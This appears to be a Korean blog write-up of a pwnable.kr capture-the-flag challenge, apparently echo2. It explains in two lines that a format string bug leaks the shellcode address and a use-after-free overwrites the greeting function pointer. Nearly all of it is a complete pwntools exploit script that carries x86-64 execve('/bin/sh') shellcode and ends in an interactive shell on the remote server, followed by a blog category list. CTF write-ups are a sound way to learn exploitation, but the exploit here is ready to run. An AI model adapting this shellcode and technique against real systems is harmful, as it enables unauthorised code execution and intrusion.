보호기법 꺼져있다. fsb, uaf가 가능하다.
fsb로 shellcode가 들어가는 주소를 leak하고, uaf로 greeting 함수가 적혀있는 곳을 shellcode가 들어가있는 주소로 바꿔주자.
Exploit Code
from pwn import *
# offset = 6
#p = process('./echo')
p=remote('pwnable.kr', 9011)
shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
p.sendlineafter(': ', shellcode)
p.sendlineafter('> ', '2')
p.sendlineafter('\n', '%10$p')
p.recvuntil('0x')
shellcode_addr = int(p.recv(12), 16)-0x20
p.sendlineafter('> ', '4')
p.sendlineafter('(y/n)', 'n')
p.sendlineafter('> ', '3')
p.sendlineafter('\n', 'A'*0x18+p64(shellcode_addr))
p.interactive()
Capture the Flag
'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글
md5 calculator (0) | 2020.03.07 |
---|---|
fsb (0) | 2020.03.07 |
echo1 (0) | 2020.03.07 |
dragon (0) | 2020.03.07 |
crypto1 (0) | 2020.03.07 |